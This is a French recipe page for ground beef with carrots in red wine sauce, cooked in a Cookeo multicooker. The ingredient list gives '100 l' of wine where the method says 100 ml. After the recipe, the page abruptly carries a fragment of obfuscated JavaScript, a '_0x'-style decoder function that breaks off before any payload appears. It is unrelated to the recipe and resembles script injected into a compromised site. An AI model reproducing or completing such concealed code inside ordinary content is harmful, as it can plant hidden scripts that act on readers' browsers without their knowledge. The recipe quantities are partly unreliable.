Viande hachée sauce vin rouge cookeo



Viande hachée sauce vin rouge cookeo

Ingrédients pour 4 personnes

650 g de viande hachée(ou plus selon vos convives)

300 g de carottes

1 oignon

1 cube de bouillon de bœuf

1 petite boite de Concentré de tomates

100 l de vin rouge

200 ml d’eau

Sel

Poivre

2 cuillères à soupe d’huile d’olive

Préparation

Coupez les carottes en rondelles

Préparez un bouillon avec 100 ml de vin rouge et 200 ml d’eau et d’un cube de bouillon de bœuf émietté.

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir la viande hachée. Ajoutez ensuite les oignons.

Ajoutez ensuite les carottes.

Versez le verre de vin rouge et 200 ml d’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide

Programmez 5 mn

Quand la cuisson est terminée, ajoutez 4 cuillères à café de concentré de tomates.

Si vous trouvez que votre sauce n’est pas assez épaisse. Alors repassez en mode dorer et ajoutez une cuillère à café ou 2 de maïzena et faites dorer jusqu’à épaississement.

Quand la sauce a épaissi servez chaud avec un féculent de votre choix

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return

```
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function
_0x10c8(){const _0x2ccc2=
```